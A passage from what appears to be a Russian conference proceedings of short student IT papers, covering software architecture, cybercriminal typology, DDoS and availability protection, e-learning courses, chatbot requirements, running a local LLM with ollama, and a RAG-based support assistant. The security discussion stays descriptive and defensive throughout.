Рисунок 3 – Микросервисная архитектура 

Плюсами такого подхода являются: 
1) надежность каждого модуля; 
2) гибкость в масштабируемости; 
3) легкость обслуживания; 
4) гибкость в выборе стека технологий. 
Но также есть свои минусы: 
1) отсутствие стандартизации при разработке; 
2) разрастание процесса разработки; 
3) каждый микросервис ведет свой набор журналов. 
В ходе анализа подходов проектирования программного обеспечения было вы-

явлено, что архитектуру, подходящей для любой задачи, нет. Существует большое ко-
личество различных паттернов, которые могут покрывать текущую задачу, но глобаль-
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но покрывать, без смешивания технологий, не могут. Таким образом, проектирование 
программного обеспечения становится искусством выбора и компромиссов, где «пере-
довые разработки» служат не целью, а средством для закрытия конкретных пробелов в 
архитектуре, обеспечивая устойчивость системы к изменениям и бизнес-требованиям. 
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В современном мире киберугрозы стали неотъемлемой частью системы инфор-
мационной безопасности, поскольку цифровые технологии всё глубже проникают в 
различные сферы человеческой деятельности. Быстрое развитие цифровой инфраструк-
туры, активное распространение интернета, а также массовый переход к дистанцион-
ной работе и онлайн-сервисам способствуют увеличению числа преступлений, совер-



429 

шаемых в киберпространстве. В этих условиях киберпреступники становятся одной из 
самых опасных категорий злоумышленников. Их деятельность охватывает широкий 
спектр правонарушений: от кражи персональных данных и финансовых махинаций до 
сложных атак на государственные учреждения, предприятия и критически важную ин-
фраструктуру. Преступники используют широкий арсенал средств – вредоносное про-
граммное обеспечение, фишинг, методы социальной инженерии и другие технологии, 
позволяющие им достигать своих целей: незаконного обогащения, получения доступа к 
конфиденциальной информации, шантажа и даже кибершпионажа. 

Актуальность темы обусловлена постоянным ростом масштабов киберпреступ-
ности, а также серьёзными экономическими, политическими и социальными послед-
ствиями подобных атак. Для эффективного противодействия этим угрозам необходимо 
не только техническое оснащение, но и глубокое понимание мотивации, целей и мето-
дов, используемых киберпреступниками. 

Цель настоящей работы заключается в анализе основных типов киберпреступ-
ников, их характеристик, применяемых методов, ресурсов и стратегий поведения в ки-
берпространстве. Такой анализ необходим для разработки действенных механизмов 
защиты от их деятельности. Степень разработанности данной темы достаточно высока: 
в настоящее время существует значительное количество научных и практико-
ориентированных исследований, посвящённых киберугрозам и способам борьбы с ни-
ми. Однако стремительное развитие технологий и постоянное появление новых форм 
преступной активности в сети указывают на необходимость дальнейшего углублённого 
изучения данной проблемы. 

Большинство злоумышленников можно разделить на несколько групп. Их разде-
ляют по уровню навык и мотивам поступков. Скрипт кид (от англ. Script kiddie). Это 
неопытные злоумышленники, которые используют готовые инструменты и скрипты 
для атак на системы. Их основная цель – хулиганство и демонстрация своих «навыков». 
Из-за отсутствия глубоких технических знаний они полагаются на автоматизированные 
инструменты, такие как Metasploit, сканеры уязвимостей или ботнеты для DDoS-атак. 
Типичные методы включают эксплуатацию уязвимостей в популярных приложениях, 
дефейсинг (изменение содержимого сайтов) и примитивные вирусные атаки [1].  

Далее идут люди, суть работы которых заключается в поиске и сборе информа-
ции. Это инсайдеры – сотрудники компании или организации, которые используют 
свой легальный доступ для нанесения ущерба или личной выгоды. Поскольку инсайде-
ры обладают привилегированным доступом к внутренним системам, они представляют 
серьезную угрозу. Их атаки могут включать кражу конфиденциальных данных, мани-
пуляции с информацией, установку вредоносного программного обеспечения или утеч-
ку данных. Часто их мотивацией являются месть, корысть или шпионаж в пользу кон-
курентов.  

Дальше идет более опасный тип преступников, чьи интересы заключаются в 
обогащении. Киберпреступники – эти злоумышленники используют технологии для 
незаконного обогащения, кражи данных или других ресурсов. В отличие от скрипт ки-
дов, они обладают высокими техническими навыками и могут разрабатывать собствен-
ные методы атак. Их излюбленные способы – фишинг, распространение вредоносного 
ПО, кража персональных данных и сложные сетевые атаки [2]. Хактивисты в свою оче-
редь отличаются от обычных злоумышленников. Они занимаются преступлениями ра-
ди идеи повлиять на общество. График с соотношением преступлений представлен на 
рисунке 1.  

Хактивисты – это группы или отдельные лица, проводящие кибератаки по поли-
тическим, социальным или идеологическим мотивам. Их цель – привлечь внимание к 
проблемам, а не получить материальную выгоду. Хактивисты атакуют правительствен-
ные и корпоративные сайты, взламывают аккаунты влиятельных лиц, публикуют кон-
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фиденциальную информацию для разоблачения коррупции и используют соцсети для 
пропаганды своих идей [3].  

 

 
Рисунок 1 – Типы преступлений 

Последней и самой опасной группой можно считать APT-группы (от англ. Ad-
vanced Persistent Threat). Это высококвалифицированные хакерские группировки, спе-
циализирующиеся на долгосрочных, скрытных атаках. Их цели – шпионаж, промыш-
ленный шпионаж или сбор разведданных. APT-группы используют сложные многосту-
пенчатые атаки, включая целевой фишинг, эксплуатацию нулевых уязвимостей и скры-
тое внедрение в системы [4]. Они могут действовать годами, оставаясь незамеченными, 
и часто связаны с государственными структурами. 

В ходе выполнения работы была проанализирована категория киберпреступни-
ков, их типология, мотивация, методы и ресурсы. В результате исследования было вы-
явлено, что киберпреступники представляют собой разнородную группу злоумышлен-
ников – от малоквалифицированных скрипт-кидов до организованных APT-групп, дей-
ствующих на уровне государств. Авторами была выделена взаимосвязь между уровнем 
подготовки киберпреступников и используемыми ими методами атак. Было установле-
но, что понимание целей и тактик данных субъектов позволяет выстраивать более эф-
фективные стратегии киберзащиты. 

Также авторы пришли к выводу, что борьба с киберпреступностью требует ком-
плексного подхода, включающего не только развитие технических средств защиты, но 
и повышение цифровой грамотности пользователей, а также совершенствование нор-
мативно-правовой базы. Полученные результаты соответствуют поставленной цели и 
подчеркивают актуальность дальнейших исследований в данной области. 
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тодов обеспечения высокой доступности онлайн-сервисов. Цель работы – проанализи-
ровать ключевые факторы, влияющие на устойчивость сервисов к отказам и атакам, и 
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нагрузки и фильтрация DDoS-трафика. Исследование направлено на повышение пони-
мания важности комплексного подхода к поддержанию доступности, особенно в усло-
виях растущей зависимости общества от цифровых технологий и онлайн-
инфраструктур. 
Annotation. The article is devoted to the description of the main threats to the availability of 
information systems, including DDoS-attacks and technical failures, as well as to the review 
of modern methods of ensuring high availability of online services. The paper aims to analyse 
the key factors affecting the resilience of services to failures and attacks and to review effec-
tive protection measures such as redundancy, load balancing and DDoS traffic filtering. The 
research aims to increase understanding of the importance of an integrated approach to main-
taining availability, especially in the context of society's increasing dependence on digital 
technologies and online infrastructures. 
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В условиях стремительного развития цифровых технологий и повсеместной 
цифровизации различных сфер деятельности обеспечение высокой доступности ин-
формационных систем приобретает особую актуальность. Современные пользователи 
ожидают круглосуточного и бесперебойного доступа к онлайн-сервисам, включая элек-
тронную коммерцию, банковские системы, образовательные платформы и государ-
ственные порталы. Нарушения в работе таких систем могут привести к серьёзным фи-
нансовым потерям, снижению доверия со стороны клиентов и ухудшению деловой ре-
путации организаций. Это подчёркивает важность разработки и внедрения решений, 
направленных на поддержание высокой доступности информационных ресурсов [1]. 
Целью данной работы является анализ существующих угроз доступности информаци-
онных систем и рассмотрение современных технических решений, позволяющих ми-
нимизировать риски и повысить устойчивость онлайн-сервисов к различным видам 
сбоев и атак. 

Степень разработанности темы достаточно высока: в научной и технической ли-
тературе активно рассматриваются вопросы обеспечения отказоустойчивости, в том 
числе методы резервирования, балансировки нагрузки, а также применения средств за-
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щиты от распределённых атак типа «отказ в обслуживании» (DDoS). Однако практиче-
ское внедрение комплексного подхода к обеспечению доступности остаётся актуальной 
задачей, особенно с учётом роста объёмов трафика и усложнения инфраструктуры. 

Доступность является одной из трёх основных составляющих информационной 
безопасности наряду с конфиденциальностью и целостностью. Она предполагает, что 
пользователи могут получить доступ к необходимым ресурсам и сервисам в нужное 
время без задержек или ограничений. Нарушения доступности могут происходить как 
по техническим причинам, так и вследствие злонамеренных действий, что требует ком-
плексного подхода к обеспечению устойчивости систем. Одной из наиболее серьёзных 
угроз доступности на сегодняшний день являются DDoS-атаки (Distributed Denial of 
Service). Суть таких атак заключается в отправке большого количества запросов к целе-
вому серверу с целью его перегрузки и вывода из строя. В отличие от обычных DoS-
атак, DDoS используют распределённые ресурсы – заражённые компьютеры и устрой-
ства, объединённые в одну сеть. Масштаб таких атак может достигать сотен гигабит 
трафика в секунду, что делает их чрезвычайно опасными даже для крупных организа-
ций. Последствия успешной DDoS-атаки включают временное отключение сервиса, 
снижение производительности, а в некоторых случаях и утрату данных. Кроме злона-
меренных атак, серьёзной проблемой остаются и непреднамеренные сбои – например, 
выход из строя серверного оборудования, перебои в работе сетевого оборудования или 
отказ систем хранения данных. Причинами таких сбоев могут быть как технические 
неисправности, так и ошибки конфигурации, перегрузка системы из-за пикового спро-
са, ошибки персонала и даже внешние факторы, такие как перебои в электропитании. 

Для обеспечения высокой доступности используются различные технические 
решения. Одним из базовых подходов является резервирование, которое предполагает 
наличие дублирующих компонентов системы – серверов, маршрутизаторов, каналов 
связи [2]. При отказе одного из элементов, его функции автоматически или вручную 
передаются резервному устройству. Резервирование может быть полным или частич-
ным, активным или пассивным в зависимости от уровня требуемой доступности и 
бюджета проекта. Сравнительный график соотношения различных видов поломок 
представлен на рисунке 1. 

 
Рисунок 1 – Виды серверных проблем 

Следующим важным элементом является балансировка нагрузки. Эта техноло-
гия распределяет входящий трафик между несколькими серверами или ресурсами, тем 
самым предотвращая перегрузку отдельных узлов системы. Балансировка может осу-
ществляться как на уровне программного обеспечения, так и с использованием специа-
лизированных аппаратных решений. Алгоритмы балансировки позволяют эффективно 
распределять ресурсы в зависимости от текущей ситуации [3].  

Особое внимание уделяется фильтрации DDoS-трафика. Для борьбы с DDoS 
применяются различные методы: от простых правил брандмауэров до сложных облач-
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ных решений, способных анализировать и блокировать подозрительную активность в 
режиме реального времени. Среди наиболее распространённых технологий – система 
анализа поведения трафика, геофильтрация, блокировка IP-адресов, автоматическое 
масштабирование инфраструктуры и применение специализированных сервисов от 
сторонних поставщиков. Эффективное обеспечение доступности требует не только 
внедрения технических решений, но и грамотного планирования и мониторинга. Необ-
ходимо регулярно проводить стресс-тестирование систем, моделировать аварийные си-
туации и проверять работу механизмов восстановления. Также важно отслеживать 
ключевые показатели доступности оперативно реагировать на возникающие проблемы. 
Таким образом, современный подход к обеспечению доступности онлайн-сервисов 
представляет собой многоуровневую систему, включающую технические средства, ор-
ганизационные меры и постоянный анализ угроз. Сочетание резервирования, баланси-
ровки нагрузки и фильтрации вредоносного трафика позволяет значительно повысить 
устойчивость систем и обеспечить их надёжную работу даже в условиях неблагоприят-
ных внешних воздействий. 

В работе была рассмотрена актуальная проблема обеспечения доступности ин-
формационных систем в условиях цифровизации и роста количества киберугроз. Авто-
рами была проанализирована специфика функционирования онлайн-сервисов и опре-
делены основные факторы, негативно влияющие на их доступность, включая DDoS-
атаки, сбои оборудования и ошибки конфигурации. В результате исследования были 
выявлены ключевые технические подходы к обеспечению устойчивости сервисов: ре-
зервирование ресурсов, балансировка нагрузки и фильтрация вредоносного трафика. 
Также авторами было доказано, что использование одного метода не обеспечивает до-
статочной защиты – необходим комплексный, системный подход. Было установлено, 
что наилучшие результаты достигаются при сочетании технических решений с органи-
зационными мерами, такими как регулярный мониторинг, тестирование на отказо-
устойчивость и обучение персонала. Таким образом, цель работы – анализ угроз и спо-
собов обеспечения высокой доступности информационных систем – была достигнута, а 
сделанные выводы подтверждают необходимость комплексного подхода для миними-
зации рисков и стабильной работы сервисов в долгосрочной перспективе. 
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Цифровизация образовательного процесса представляет собой одну из ключевых 
тенденций современного образования, направленную на интеграцию цифровых техно-
логий в учебную деятельность. Электронные образовательные курсы являются важным 
элементом этой трансформации, предоставляя студентам и преподавателям новые воз-
можности для обучения и преподавания.  

Электронные образовательные курсы предполагают реализацию учебных мате-
риалов и ресурсов, доступные в цифровом формате. Они включают в себя лекции, ви-
деоуроки, интерактивные задания, тесты и другие элементы, которые можно использо-
вать через интернет или локальные сети. ЭОК позволяют студентам учиться в удобное 
для них время и темпе, предоставляя доступ к образовательным ресурсам из любой 
точки мира. Основное преимущество ЭОК заключается в их доступности и гибкости, 
что позволяет адаптировать образовательный процесс под индивидуальные потребно-
сти каждого студента. 

Целью данного исследования является изучение опыта реализации электронных 
образовательных курсов в высших учебных заведениях с целью выявления ключевых 
факторов успешного внедрения ЭОК. 

Текущее состояние электронного образования в ВУЗах 
В условиях стремительного развития цифровых технологий и глобализации об-

разовательного процесса, внедрение электронных образовательных курсов становится 
неотъемлемой частью современного высшего образования. 

Интерактивные элементы и мультимедийные ресурсы становятся неотъемлемой 
частью современного образовательного процесса. Видеоуроки, симуляции, виртуаль-
ные лаборатории и игровые элементы делают обучение более увлекательным и эффек-
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тивным. Эти технологии позволяют студентам активно участвовать в учебном процес-
се, развивая критическое мышление и практические навыки. Виртуальная и дополнен-
ная реальность также начинают играть все более значимую роль, предоставляя уни-
кальные возможности для обучения. 

Современные технологии позволяют адаптировать образовательный процесс под 
индивидуальные потребности каждого студента. Аналитические инструменты и искус-
ственный интеллект помогают выявлять сильные и слабые стороны учащихся, предла-
гая персонализированные учебные планы. Это не только повышает мотивацию студен-
тов, но и способствует более эффективному усвоению материала. Персонализация обу-
чения становится важным фактором в повышении качества образования и подготовке 
студентов к реальным вызовам современного мира. 

В работе [1] рассматривается процесс создания и внедрения электронных обу-
чающих курсов для дисциплин «ядра» в университетах, особое внимание уделяется ме-
тодическому сопровождению этого процесса. Эти курсы позволяют студентам осваи-
вать материал в удобное время и из любой точки мира, что особенно важно в условиях 
нестабильной внешней среды. 

Многие преподаватели столкнулись с нехваткой времени для реализации элек-
тронного образовательного курса, а также недостаточным пониманием требований. Не-
которые участники пропустили изучение теоретической части курсов повышения ква-
лификации, что негативно сказалось на качестве разрабатываемых материалов. Автор 
подчеркивает, что для успешного внедрения ЭОК необходимо строго соблюдать все 
этапы методического сопровождения, обеспечивать преподавателей своевременной 
поддержкой и мотивировать их на полноценное освоение учебных материалов. 

Статья Н. И. Улендеевой [2] посвящена роли электронной информационно-
образовательной среды (ЭИОС) в цифровизации высшего образования, а также практи-
ческому опыту её внедрения в ведомственных вузах ФСИН России. Автор подчёркива-
ет, что использование ЭИОС стало обязательным требованием федеральных государ-
ственных образовательных стандартов (ФГОС 3++), направленных на обеспечение до-
ступности и гибкости образовательного процесса. 

Автор описывает опыт Самарского юридического института, где преподаватели 
проходят курсы повышения квалификации для освоения цифровых технологий. Статья 
подчёркивает, что внедрение ЭИОС способствует переходу от традиционной модели 
«преподавания» к модели «самообучения», где студенты активно используют цифро-
вые ресурсы. Для преподавателей это означает необходимость развития практических 
навыков работы с технологиями, такими как наполнение банков тестовых заданий, 
настройка автоматической обратной связи и использование аналитических инструмен-
тов для отслеживания прогресса обучающихся. 

Зачастую в электронных образовательных курсах преподаватели предпочитают 
использовать узкий круг цифровых инструментов [3]: 

- гиперссылки и мультимедиа (видеолекции, интерактивные презентации); 
- автоматизированный контроль (тесты с ограничением времени, задания с ав-

топроверкой); 
- механизмы социализации (форумы, чаты). 
ЭОК в образовательной среде ФГБОУ ВО «КнАГУ» 
Внедрение электронных образовательных курсов в систему управления обуче-

нием (LMS) «Центр дистанционного обучения КнАГУ» представляет собой значимый 
этап цифровизации образовательного процесса в Комсомольском-на-Амуре государ-
ственном университете. На текущий момент на данной платформе реализовано более 
291 обязательного к изучению курса, что свидетельствует о масштабной интеграции 
электронных технологий в учебные программы университета. 

Пример ЭОК представлен на рисунке 1. 
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Рисунок 1 – Электронный образовательный курс 

Курсы, размещённые в системе, охватывают широкий спектр дисциплин, включая 
как фундаментальные (математика, физика), так и прикладные (инженерные, гуманитар-
ные науки). Их структура соответствует требованиям ФГОС и включает: 

- электронные учебно-методические комплексы; 
- видеолекции и презентации; 
- практические и лабораторные работы в виртуальной среде; 
- системы промежуточного и итогового тестирования. 
Исследование опыта реализации электронных образовательных курсов в высших 

учебных заведениях показало, что цифровизация образования является необратимым 
трендом, обеспечивающим гибкость, доступность и персонализацию обучения. Ключе-
выми факторами успешного внедрения ЭОК являются методическая поддержка препода-
вателей, использование современных цифровых инструментов и адаптация курсов под 
индивидуальные потребности студентов. Примеры из практики, такие как платформа LMS 
в КнАГУ, демонстрируют эффективность интеграции ЭОК в учебный процесс. Однако для 
дальнейшего развития необходимо устранять барьеры, связанные с недостаточной подго-
товкой преподавателей и ограниченным использованием инновационных технологий. 
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В современном мире происходит ряд процессов, которые направлены на разра-
ботку различных ИТ-проектов в разнообразных сферах деятельности человека. Это свя-
зано с тем, что общество переходит в новую эпоху, а именно постиндустриальную [1]. 
Информационное общество завязано на передаче информации от одного объекта к дру-
гому. Поэтому данная тема актуальна. В ходе анализа различных бизнес-процессов ву-
за, была поставлена задача, которая заключалась в создании сервиса, с помощью кото-
рого участники специальной военной операции могут получать в удобной форме всю 
необходимую им информацию по льготам, которые им предоставляются. В ходе выяв-
ления требований заказчика была сформирована Cjm-карта. Карта Cjm (от англ. Cus-
tomer journey map) – это инструмент, позволяющий лучше понять процесс взаимодей-
ствия клиентов с продуктом, брендом или услугой и оптимизировать его [2]. Также бы-
ли сформированы функциональные и нефункциональные требования к информацион-
ному чат-боту. 

Первый этап работы над продуктом заключается в проведении интервью с за-
казчиком. В ходе данного этапа были собраны и зафиксированы необходимые требова-
ния с помощью специализированного прикладного инструмента Yonote. Выявленные 
бизнес-требования для чат-бота следующие: 

1) Предоставлять актуальную информацию о льготах, которыми могут вос-
пользоваться участники специальной военной операции, включая медицинские услуги, 
финансовую помощь, обучение, банковские льготы, льготы семьям участников специ-
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альной военной операции, льготы в сфере жилищно-коммунальных услуг, налоговые 
льготы, пенсионные льготы, трудовые гарантии и многие другие. 

2) Выдавать информацию на вопросы, заданные пользователем. Например, по-
лучение льгот, документы, необходимые для оформления. 

3) Быстрый отклик (например, менее 1,5 секунды на один запрос). 
4) Высокий уровень доступности, то есть пользователь может получать ин-

формацию в любое время суток. 
5) Интуитивный интерфейс, который будет легко восприниматься для людей 

любого возраста. 
6) Использование искусственного интеллекта, то есть при помощи него чат-бот 

может отвечать на часто задаваемые вопросы. 
7) Иметь функцию обратной связи для того, чтобы пользователь в случае ка-

ких-либо трудностей или вопросов мог обратиться за обратной связью. 
8) Информировать пользователей о обновлениях нормативно-правовых актов и 

других. 
9) Функция, которая собирает мнения пользователей для улучшения сервиса, 

то есть делает опрос. 
10) Иметь встроенную панель на экране чата, благодаря которой пользователи 

смогут искать льготы, нажимая на кнопки. 
11) Иметь голосового помощника, в случае если человек плохо видит и не мо-

жет писать сообщение на клавиатуре. 
12) Иметь функцию, которая будет хранить в себе часто интересующие людей 

льготы и отображаться в чате при нажатии пользователя слово «начать». 
13) Иметь функцию, которая будет выдавать пользователю список льгот, ото-

бранных по ключевым словам. 
На основе выявленных бизнес-требований и проведенного интервью с заказчи-

ком была сформирована CJM-карта [3]. Она представлена на рисунке 1. 

 
Рисунок 1 – CJM-карта 
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Заказчик ставит задачу создать чат-бота, который упрощает доступ к информа-
ции для получения льгот. Далее необходимо определиться с сервисов, который будет 
использоваться. Мотивация использования состоит в том, чтобы обеспечить участни-
ков СВО и их семьи доступом к актуальной информации о льготах в мессенджере Теле-
грам [4]. 

К действиям персоны относятся получение информации о льготах, определение 
потребности, то есть для чего ему нужна информация о льготах, достоверность в ин-
формации получаемой от чат-бота и запуск и взаимодействия с чат-ботом. Человек, у 
которого возникает потребность в нахождении информации о льготах, может испыты-
вать чувство стремления. Это может проявляться в том, что человек стремится упро-
стить поиск нужной информации. При поиске информации может возникать чувство 
сомнения, потому информации в интернете много, а актуальная и нужная может быть 
не всегда найдена. Пользователь, когда вводит запрос в чат-бота и моментально полу-
чает информацию, которую искал, или пользуется интуитивно понятным интерфейсом, 
испытывает чувство радости от пользования. Однако, есть и проблемные моменты при 
разных этапах процесса взаимодействия клиента с продуктом. Например, ограниченные 
ресурсы. Они могут проявляться как в недостатке финансов, так и времени. Использо-
вание карты CJM позволяет провести эффективный анализ и оптимизацию продукта, 
что в конечном итоге приводит к качественному продукту.  Проведенная работа поз-
воляет более структурно описать потребности заказчика, а разработчикам программно-
го продукта предоставить полный перечень задач для реализации. Сбор и анализ биз-
нес-требований при разработке информационного чат-бота является важным аспектом 
для успешной реализации проекта. Для эффективного сбора требований необходимо 
взаимодействие с людьми, которые заинтересованы в создании и внедрении чат-бота в 
какую-либо систему. Важно определиться с концепцией, а именно с функциональными 
и нефункциональными требованиями. Так же было отмечено, что благодаря внима-
тельному и тщательному анализу улучшается качество продукта, и снижаются риски в 
процессе создания чат-бота. Когда правильно сформулированы бизнес-требования, то 
разработчики уверенно выполняют поставленную задачу, а также обеспечивают удо-
влетворенность пользователей. C развитием технологий увеличиваются потребности 
пользователей, а это говорит о том, что сбор и анализ бизнес-требований будет про-
должать развиваться. Действительно, успешная реализация чат-бота требует комплекс-
ного сбора и анализа требований, для того, чтобы в результате получить эффективный, 
удобный, доступный продукт, положительные комментарии от пользователей и удо-
влетворенность заказчика. 
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С каждым годом всё больше и больше предприятий начинают использовать 
нейронные сети и большие языковые модели для автоматизации задач [1]. Однако ча-
стое использование таких моделей имеет ряд своих проблем, всегда нужно подключе-
ние к интернету, ограничение данных, высокая стоимость и не возможность менять мо-
делей под себя или под конкретные задачи, а использование локальных моделей помо-
жет сделать более гибкий и нужный искусственный интеллект (ИИ) для определённых 
задач [2]. Многие предприятия используют локальные модели из-за конфиденциально-
сти данных, которые они не хотят предавать другим пользователям. Преимущество ло-
кальных языковых моделей (LLM) в том, что они не передают данные на удалённые 
API, что повышает безопасность данных и предотвращает их утечку [3]. Цель данной 
статьи – показать работу и использование больших языковых моделей на компьютере 
без подключения к внешним API сервисам [4]. Авторы рассматривают пример подклю-
чения к локальному компьютеру и интеграцию модели в среду разработки Python с ис-
пользованием библиотеки ollama, которая помогает запускает модели искусственного 
интеллекта [5]. 
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Для разработки помощника для сайта Sleepy была выбрана большая языковая 
модель «qwen2.5: 7b», для установки был использован сайт ollama, чтобы установить на 
локальный компьютер, нужно зайти на сайт и скачать приложение, после выбрать мо-
дель и в консольное приложение ввести команду «ollama run qwen2.5:7b» и дождаться 
установки, после чего проверить на работоспособность. После водим команду «/help» 
или «/?» для проверки имеющихся у нас команд для работы в консольном приложение. 
Есть такие команды, как «/set» для установки переменных, «/show» для отображения 
установленных моделей. Также мы можем задавать наши запросы через консоль, но для 
большей практичности и удобства интерфейса лучше перейти на какую-то среду разра-
ботки (рисунок 1).  

 
Рисунок 1 – Консоль 

После проверки заходим в среду разработки Python и открываем проект, уста-
навливаем библиотеку с помощью команды «pip install ollama», после установки пишем 
«system_prompt», где задаём роль языковой модели, и «промт», где описываем, что хо-
тим, чтобы он выступал в роли врача, задаём нужные параметры, которые будет вво-
дить пользователь и что он должен на это отвечать. Дальше, используем цикл «while 
True», где запрашиваем у пользователя параметры для ввода, после чего искусственный 
интеллект даёт ответ и, если он хочет закончить, просим ввести команду exit для за-
вершения бесконечного цикла. Дальше добавим команду «messages.append» где в скоб-
ках укажем роль для сообщения, для нашего примера мы возьмём «"role": "user"», а 
«"content": user_input» указывает на переменную, где пользователь вводит текст, даль-
ше напишем команду для обращения к локальной модели «response: ChatResponse = 
chat(model='qwen2.5:7b', messages=messages)» где «chat» это обращение к определённой 
модели на вашем локальном устройстве, а «messages=messages» передаёт историю со-
общений (рисунок 2).  
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Рисунок 2 – «Промт» для ИИ 

Теперь запустим наш код и введём пару примеров запросов пользователей: «18 | 
Мужчина | 22:00 | 06:00 | здоровый | 15696 | 2500-3300 | Большая» и «18 | Женщина | 
22:00 | 05:00 | здоровая | 10696 | 2000-2500 | Большая» и проверим, что на них ответит 
ИИ (рисунок 3).  

В результате видно, что наша языковая модель функционирует и генерирует хо-
рошие ответы. Для более точных и лучших ответов можно доработать «промт», кото-
рый мы до этого создавали, или использовать более большую модель, например на 32 
млрд параметров. Предоставленная «qwen2.5 7b» использует только семь млрд для об-
работки. 

 
Рисунок 3 – Проверка 

В ходе проделанной работы были продемонстрированы возможности использо-
вания языковых моделей на локальном устройстве без подключения каких-либо внеш-
них API. Данный способ помогает повысить конфиденциальность в работе, что повы-
шает безопасность информации и эффективность для больших компаний. Установка 
приложения через ollamy показала быструю и легкую интеграцию моделей в среду раз-
работки Python. Также используемая модель «qwen2.5:7b» показала хорошую работо-
способность в приложении Sleepy, где выступает как помощник по сну, даже с семью 
миллиардами параметров способен генерировать хорошо сформулированные ответы и 
давать осознанные оценки сну. В будущем для более точных и верных ответов можно 
использовать более большие языковые модели, которые будут учитывать и обрабаты-
вать данные, поступающие от пользователя или доработать «промт» для более точных 
результатов. С помощью этого локальные языковые модели становятся более доступ-
ными и перспективными в будущем для создания ИИ. 
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Аннотация. Статья посвящена разработке инновационного решения для автоматизации 
служб поддержки на основе нейронных сетей – нейроассистента службы поддержки на 
базе цифровой платформы. Описана проблема низкой эффективности существующих 
служб поддержки и предлагается использование технологий глубокого обучения для 
создания системы, способной обрабатывать сложные запросы клиентов. Приведены ос-
новные функции нейроассистента: обработка запросов на основе базы знаний компа-
нии, предоставление точных и быстрых ответов. 
Abstract. The article is devoted to the development of an innovative solution for automation 
of support services based on neural networks – a support service neuro-assistant based on a 
digital platform. The problem of low efficiency of existing support services is described and 
the use of deep learning technologies is proposed to create a system capable of processing 
complex customer requests. The main functions of the neuro-assistant are given: processing 
requests based on the company's knowledge base, providing accurate and quick answers. 
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В связи с ростом конкуренции и растущими требованиями клиентов автоматиза-
ция служб поддержки онлайн-сервисов становится важнейшей задачей для повышения 
эффективности обслуживания. Анализ источника [1] показывает рост внедрения искус-
ственного интеллекта (ИИ) в корпоративный сектор: доля компаний, использующих 
ИИ, увеличилась с 32,5 % до 65 % за полгода. 67 % компаний планируют увеличить 
инвестиции в ИИ. Более 20 % аналитического бюджета уже направляется в ИИ. Ис-
пользование таких технологий позволяет сократить время обработки запросов в сред-
нем на 40 – 60 % , повысить точность ответов до 90 – 95 % и улучшить показатели удо-
влетворенности клиентов на 25 – 30 %, что существенно влияет на лояльность пользо-
вателей и имидж компании [1].  

Результатом данного проекта является создание и внедрение нейроассистента – 
автоматизированной системы поддержки, использующей нейронные сети для эффек-
тивной обработки сложных запросов клиентов.  

Основная цель – принести экономическую выгоду пользователю за счет повы-
шения производительности и снижения затрат на техническое обслуживание. Сейчас 
много говорят об автоматизации работы службы поддержки, но большинство суще-
ствующих решений недостаточно гибки для обработки сложных запросов или слишком 
дороги в настройке и поддержке (дороговизна оценивается в часах работы специали-
стов, а сложность количеством и типов запросов которые система может обработать без 
участия человека) [2].  

Предложенный подход характеризуется использованием современных нейрон-
ных сетей, что позволяет создать систему, способную адаптироваться к особенностям 
различных бизнес-процессов и гарантировать способность системы предоставлять кор-
ректные и релевантные ответы на запросы пользователей [3].  

Идея создания цифровой платформы нейроассистента службы поддержки он-
лайн-сервисов – создание системы, способной эффективно обрабатывать запросы кли-
ентов и давать точные и своевременные ответы. Для достижения этой цели была вы-
брана технология RAG (от англ. Retrieval Augmented Generation), которая позволяет 
объединить возможности генерации текста с механизмами поиска информации [4]. 
Ниже описан процесс разработки и эксплуатации такой системы. 

Технология RAG включает два основных этапа: извлечение релевантной инфор-
мации из базы знаний и генерацию ответа на основе полученного контекста.  

В рамках проекта предполагается использовать следующие модули, показанные 
на рисунке 1. 

 
Рисунок 1 – Схема модулей цифровой платформы 
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Интерфейс взаимодействия с пользователем (Frontend), включает в себя: веб-
интерфейс, или мобильное приложение для клиентов; интеграцию с мессенджерами 
(Telegram, Whatsapp). 

Серверная часть (Backend), включает в себя: API-шлюз (принимает и маршрути-
зирует запросы от пользователей); бизнес-логику (управляет процессами обработки за-
просов и взаимодействием между модулями); аутентификация и авторизация (обеспе-
чивает безопасность доступа к системе). 

Модуль обработки запросов (RAG Pipeline). 
Модуль извлечения (Retrieval Module): поиск релевантной информации в базе 

знаний компании; использование методов семантического поиска (например, через век-
торные представления текста); интеграция с индексированными данными 
(Elasaticsearch, FAISS, Pinecone и др.). 

Модуль генерации (GenerationModule): генерация, использование языков и кон-
текстное понимание запроса и адаптация ответов под стиль компаний. 

База знаний компании (Knowledge Base): FAQ-разделы, руководства пользовате-
ля, техническая документация; поддержка динамического обновления базы знаний 
(например, путём автоматического добавления новых документов или данных). 

Модуль управления диалогом (Dialogue Management): управление многоступен-
чатыми диалогами; поддержка контекста разговора. 

Модуль интеграции с внешними системами: CRM-системы: синхронизация дан-
ных о клиентах; ERP-система: доступ к внутренним процессам компании; системы ана-
литики: отслеживание эффективности работы нейроассистента. 

Модуль аналитики и отчетности: сбор данных о производительности нейроасси-
стента; анализ успешности обработки запросов; формирование отчетов для менедж-
мента.  

Модуль обратной связи и обучения: сбор отзывов от клиентов для улучшения 
качества ответов; автоматическое добавление новых случаев в базу знаний; дообучение 
нейросети на основе новых данных. 

Модуль администрирования: настройка базы знаний; управление правилами об-
работки запросов; мониторинг работы системы. 

Представим ситуацию: человек сталкивается с проблемой во время пользования 
онлайн-сервисом, которую не может решить сам, и обращается в техподдержку за по-
мощью. Ожидания быстрых и понятных разъяснений оказываются напрасными – при-
ходит бессодержательный ответ от автоматизированной системы, очевидно, не уло-
вившей суть запроса. После просьбы подождать соединения с оператором время идет, 
но никто не выходит на связь. Этот сценарий знаком многим и служит основой для раз-
работки нейронных ассистентов [5]. 

Планируется создание нейронного помощника на базе технологии RAG, взаимо-
действующего с нейросетью DeepSeek. Такой подход позволит четко понимать запросы 
и быстро предоставлять высококачественные решения. Больше не придется терять вре-
мя в ожидании реакции оператора – робот сможет справиться с большей частью вопро-
сов на уровне опытного специалиста. 

Тем не менее, признается, что иногда могут потребоваться дополнительные по-
яснения. В связи с этим предполагается использовать гибридную схему работы. Она 
подразумевает, что автоматизация возьмет на себя основную нагрузку, а персонал бу-
дет привлекаться лишь в исключительных ситуациях. Комбинация машинного интел-
лекта и человеческого участия обеспечит оптимальный баланс скорости и качества сер-
виса. 

В таблице 1 проведён анализ конкурентов который показывает преимущества 
разрабатываемой цифровой платформы. 
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Таблица 1 – Анализ конкурентов цифровой платформы 
Название 
нейроасси-
стента 

Разрабатываемый 
